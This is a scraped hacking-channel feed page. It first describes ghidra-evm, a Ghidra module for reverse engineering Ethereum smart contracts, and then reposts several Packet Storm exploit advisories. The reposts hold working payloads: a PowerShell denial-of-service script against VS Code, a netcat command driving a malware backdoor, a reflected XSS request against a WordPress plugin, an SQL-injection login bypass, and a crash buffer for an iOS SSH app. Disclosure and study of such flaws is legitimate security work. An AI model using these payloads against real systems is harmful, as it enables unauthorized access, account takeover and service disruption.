Ghidra-Evm - Module For Reverse Engineering Smart Contracts
http://www.kitploit.com/2021/05/ghidra-evm-module-for-reverse.html

___________________________
@hacking_Attack
@Hacking_Video

In the last few years, attacks on deployed smart contracts (https://www.kitploit.com/search/label/Smart%20Contracts) in the Ethereum blockchain have ended up in a significant amount of stolen funds due to programming mistakes. Since smart contracts, once compiled and deployed, are complex to modify and update different practitioners have suggested the importance of reviewing their security in the blockchain where only Ethereum Virtual Machine (https://www.kitploit.com/search/label/Virtual%20Machine) (EVM) bytecode is available. In this respect, reverse engineering (https://www.kitploit.com/search/label/Reverse%20Engineering) through disassemble and decompilation can be effective.
ghidra-EVM is a Ghidra module for reverse engineering smart contracts. It can be used to download Ethereum Virtual Machine (EVM) bytecode from the Ethereum blockchain and disassemble and decompile the smart contract. Further, it can analyze creation code, find contract methods and locate insecure instructions. It comprises a processor module, custom loader and plugin(s) that disassembles Ethereum VM (EVM) bytecode and generates a control-flow graph (CFG) of a smart contract. The last version uses the Ghidra 9.1.2 API. It relies on the crytic evm_cfg_builder library (https://github.com/crytic/evm_cfg_builder) to assist Ghidra in the CFG generation process. Ghidra-evm consists of: A loader that reads byte and hex code from .evm and .evm_h files respectively (See examples (https://github.com/adelapie/ghidra-evm/blob/main/examples)). The SLEIGH definition of the EVM instruction set taking into account the Ghidra core limitations (See Notes). A helper script that uses evm_cfg_builder and ghidra_bridge in order to assist ghidra generating the CFG and exploring the function properties of a smart contract. A collection of scripts that help to reverse engineering different aspects of a smart contract: Script Description search_codecopy.py (https://github.com/adelapie/ghidra-evm/blob/main/scripts/search_codecopy.py) When analyzing creation code in a smart contract we can only see the _dispatcher function that uses CODECOPY in order to write the run time code into memory. This script looks for useful CODECOPY instructions and finds the smart contract methods hidden in the runtime part of the contract. search_dangerous_instructions.py (https://github.com/adelapie/ghidra-evm/blob/main/scripts/search_dangerous_instructions.py) Instructions such as CALL, CALLCODE, SELFDESTRUCT and DELEGATECALL can sometimed be abused to transfer funds to another contract. This script finds them and creates a label for each occurrence. load_external_contract.py (https://github.com/adelapie/ghidra-evm/blob/main/scripts/load_external_contract.py) Downloads smart contract byte code from the blockchain into a .evm_h file that can be loaded into ghidra-evm
Installation instructions
Install ghidra_bridge, following the instructions at https://github.com/justfoxing/ghidra_bridge Install the crytic evm_cfg_builder library, following the instructions at https://github.com/crytic/evm_cfg_builder Install the last ghidra-evm release file at ghidra_evm/dist/: Open ghidra File -> Install Extensions Click on '+' and select the zip file e.g. ghidra_9.1.2_PUBLIC_20201102_ghidra_evm.zip Click OK Restart Ghidra
Compilation instructions
The contents of the ghidra-evm directory can be used to create a Ghidra module in Eclipse with processor and loader in order to extend or debug ghidra_evm (https://github.com/adelapie/ghidra-evm/blob/main/ghidra_evm).
Tutorials

___________________________
@hacking_Attack
@Hacking_Video

Tutorial Description Utilization (https://github.com/adelapie/ghidra-evm/blob/main/tutorials/00_utilization.md) Simple utilization instructions with test.evm Analyzing creation bytecode (https://github.com/adelapie/ghidra-evm/blob/main/tutorials/01_codecopy.md) Using search_codecopy.py to analyze creation code and finding hidden methods Looking for dangerous instructions (https://github.com/adelapie/ghidra-evm/blob/main/tutorials/02_dangerous.md) Using search_dangerous_instructions.py to analyze a SELFDESTRUCT ocurrence Downloading smart contract bytecode from the blockchain into Ghidra (https://github.com/adelapie/ghidra-evm/blob/main/tutorials/03_external.md) Using load_external_contract.py to download EVM byte code from the blockchain into a .evm_h file
Integration with external symbolic execution (https://www.kitploit.com/search/label/Symbolic%20Execution) tools
Script Description teether (https://github.com/adelapie/ghidra-evm/blob/main/scripts/teether_integration.py) It marks the critical path in Ghidra before generating the exploit. Requires teether (https://github.com/nescio007/teether).
Notes
The CFG is created according to evm_cfg_builder: JUMP and JUMPI instructions are utilized. A jump table of 32x32 (evm_jump_table) is generated accordingly in order to detect and show branches in the disassembly and control flow windows. Ghidra has not been designed to deal with architectures and memories of wordsize > 64-bit. This means that instructions such as PUSH32 are not correctly shown in the decompilation window.
License
Ghidra-evm is licensed and distributed (https://www.kitploit.com/search/label/Distributed) under the AGPLv3.
Thanks
This work was supported by the European Commission through the H2020 Programme’s Project M-Sec under Grant 814917.

Download Ghidra-Evm (https://github.com/adelapie/ghidra-evm)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
[100% OFF] The Ultimate Anonymity Online While Hacking!

https://external-preview.redd.it/x12yfG1F7zZn9zEfnpYHxF5_QmMVQVpZfgp6olg6wb8.jpg?width=640&crop=smart&auto=webp&s=282a76f158755bb9a4f0aadb36052b5e5e60896a submitted by /u/Smooth_Criminal07
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Visual Studio Code 1.47.1 Denial Of Service

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
Visual Studio Code version 1.47.1 suffers from a denial of service vulnerability.

MD5 | 52283fdc441dfdb13a400b7c8bbb25aa

Download
# Exploit Tittle: Visual Studio Code 1.47.1 - Denial of Service (Poc)
# Exploit Author: H.H.A.Ravindu Priyankara
# Category: Denial of Service(DOS)
# Tested Version:1.47.1
# Vendor: Microsoft
# Software Download Link:https://code.visualstudio.com/updates/

Write-Host "
* *
*-------------------------------------------------------------------------------------------------------*
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Exploit Tittle :-" -ForegroundColor Green -NoNewline; Write-Host " Visual Studio Code (VS Code) Denial of Service " -ForegroundColor Cyan -NoNewline; Write-Host " |
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Author :-" -ForegroundColor Green -NoNewline; Write-Host " H.H.A.Ravindu.Priyankara " -ForegroundColor Cyan -NoNewline; Write-Host " |
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Github :-" -ForegroundColor Green -NoNewline; Write-Host " https://github.com/Ravindu-Priyankara " -ForegroundColor Cyan -NoNewline; Write-Host " |
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Youtube :-"-ForegroundColor Green -NoNewline; Write-Host " https://www.youtube.com/channel/UCKD2j5Mbr15RKaXBSIXwvMQ " -ForegroundColor Cyan -NoNewline; Write-Host " |
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Linkedin :-"-ForegroundColor Green -NoNewline; Write-Host " https://www.linkedin.com/in/ravindu-priyankara-b77753209/ " -ForegroundColor Cyan -NoNewline; Write-Host " |
*-------------------------------------------------------------------------------------------------------*"-ForegroundColor Yellow

[string]$Userinpts = Read-Host -Prompt "Enter Run or Stop:-"
if ($Userinpts -eq "Run") {
Write-Output "Yeah I Know"
while ($True) {
$name = "AAAAAAA"
$name * 1000000
}
#or
#$name = "AAAAAAA"
#$name * 1000000
}
if ($Userinpts -eq "Stop") {
exit
}

#==========================================================
#==================== solution ============================
#==========================================================

#Update Your Visual Studio Code Application
# 1.47.1 version ==> 1.56.0 version

#==========================================================

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Psychward.c Code Execution

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png
Backdoor.Win32.Psychward.c malware suffers from a code execution vulnerability.

MD5 | 856b945248e373e0d7246d64e103cdb7

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f60a8d71a822e0e485f22ada8f26c31e.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.c
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 33777. Remote attackers who can reach infected systems can execute commands made available by the backdoor.
Type: PE32
MD5: f60a8d71a822e0e485f22ada8f26c31e
Vuln ID: MVID-2021-0218
Disclosure: 05/18/2021

Exploit/PoC:
nc64.exe x.x.x.x 33777
son-of-pw 0.1
dir
<.
<..
<0409
12520437.cpx (2151)
12520850.cpx (2233)
@AudioToastIcon.png (308)
@EnrollmentToastIcon.png (330)
@VpnToastIcon.png (404)
@WirelessDisplayToast.png (691)
aadauthhelper.dll (154624)
aadtb.dll (954880)
AboveLockAppHost.dll (252928)
accessibilitycpl.dll (3804160)
accountaccessor.dll (215552)
AccountsRt.dll (363520)
AcGenral.dll (2393600)
AcLayers.dll (372224)
acledit.dll (9216)
aclui.dll (5388800)
acppage.dll (68096)
AcSpecfc.dll (471552)
ActionCenter.dll (261632)
ActionCenterCPL.dll (541184)
ActivationClient.dll (30720)
ActivationManager.dll (444928)
activeds.dll (222720)
activeds.tlb (112128)
ActiveSyncProvider.dll (1546752)
actxprxy.dll (261632)
AcWinRT.dll (33792)
acwow64.dll (38400)

etc...

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
COVID19 Testing Management System 1.0 Cross Site Scripting

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
COVID19 Testing Management System version 1.0 suffers from a cross site scripting vulnerability.

MD5 | afa3edae7ff5906b72b81fcb60cf8bac

Download
# Exploit Title: COVID19 Testing Management System 1.0 - 'Admin name' Cross-Site Scripting (XSS)
# Date: 19/05/2021
# Exploit Author: Rohit Burke
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10

==> Stored Cross-Site Scripting XSS:
An attacker uses Stored XSS to inject malicious content (referred to as
the payload), most often JavaScript code, into the target application. If
there is no input validation, this malicious code is permanently stored
(persisted) by the target application, for example within a database. For
example, an attacker may enter a malicious script into a user input field
such as a blog comment field or in a forum post.
When a victim opens the affected web page in a browser, the XSS attack
payload is served to the victim’s browser as part of the HTML code (just
like a legitimate comment would). This means that victims will end up
executing the malicious script once the page is viewed in their browser.

==> Attack Vendor:
This vulnerability can results attacker injecting the XSS payload in the
Admin profile section and each time admin visits the all other sections of
the application the XSS triggers and the attacker can able to steal the
cookie according to the crafted payload.

==> Vulnerable Parameters:
"Admin name" parameter

==> Steps for reproduce:

1) Go to http://localhost/covid-tms/login.php
and logged In as an Admin (#Username: admin #Password: Test@123).

2) Click on (Admin --> Profile). Enter the payload in
Admin name =
Click on submit.

3) Now, whichever section of the application admin visits the payload gets executed successfully.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Stop Spammers 2021.8 Cross Site Scripting

https://2.bp.blogspot.com/-466o0SY5wbQ/WWlvXOxbxYI/AAAAAAAAIOQ/eHwtwujRsQI9h-mxYQXglBmw7d5gufaKwCLcBGAs/s1600/h51.png
WordPress Stop Spammers plugin versions 2021.8 and below suffer from a cross site scripting vulnerability.

MD5 | b2b18e13ea332826d5e2948f54b7b175

Download
# Exploit Title: WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS)
# Date: 04/08/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://wordpress.org/plugins/stop-spammer-registrations-plugin/
# Software Link: https://downloads.wordpress.org/plugin/stop-spammer-registrations-plugin.zip
# Version: <=
# Tested on: Windows-Ubuntu
# CVE : CVE-2021-24245

Summary:

Reflected cross-site scripting (XSS) vulnerabilities in 'Stop Spammers <=

Proof of concepts:

1-Install "Stop Spammers <=
2-For testing remove your IP address from the allowed list
3-Go to http:// ad" accesskey=X onclick=alert(1) "
#Notice the `ad` keyword must be in your payload!
5-Press Alt + Shift + X to trigger Xss
#Tested on Firefox

Request POC:

POST /wp-login.php HTTP/1.1
Host: localhost
Connection: close
Content-Length: 161
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check;

log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
COVID19 Testing Management System 1.0 SQL Injection

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
COVID19 Testing Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | a5e373fba80ab6c8d5178ece6d4685ff

Download
# Exploit Title: COVID19 Testing Management System 1.0 - SQL Injection (Auth Bypass)
# Date: 19/05/2021
# Exploit Author: Rohit Burke
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10

SQL Injection:
Injection flaws, such as SQL, NoSQL, and LDAP injection, occur when
untrusted data is sent to an interpreter as part of a command or query. The
attacker’s hostile data can trick the interpreter into executing unintended
commands or accessing data without proper authorization.

Attack vector:
An attacker can gain admin panel access using malicious sql injection queries.

Steps to reproduce:
1) Open admin login page using following URl:
"http://localhost/covid-tms/login.php"

2) Now put the payload below the Username and password field.
Payload: admin' or '1'='1 and you will be successfully logged In as Admin without any credentials.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WebSSH For iOS 14.16.10 Denial Of Service

https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
WebSSH for iOS version 14.16.10 suffers from a denial of service vulnerability.

MD5 | 96d5a3d99c9f2c80b466a1262bc3ad37

Download
# Exploit Title: WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC)
# Author: Luis Martinez
# Discovery Date: 2021-05-18
# Vendor Homepage: https://apps.apple.com/mx/app/webssh-ssh-client/id497714887
# Software Link: App Store for iOS devices
# Tested Version: 14.16.10
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: iPhone 7 iOS 14.5.1

# Steps to Produce the Crash:
# 1.- Run python code: WebSSH_for_iOS_14.16.10.py
# 2.- Copy content to clipboard
# 3.- Open "WebSSH for iOS"
# 4.- Click -> Tools
# 5.- Click -> mashREPL
# 6.- Paste ClipBoard on "mashREPL>"
# 7.- Intro
# 8.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 300
print (buffer)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video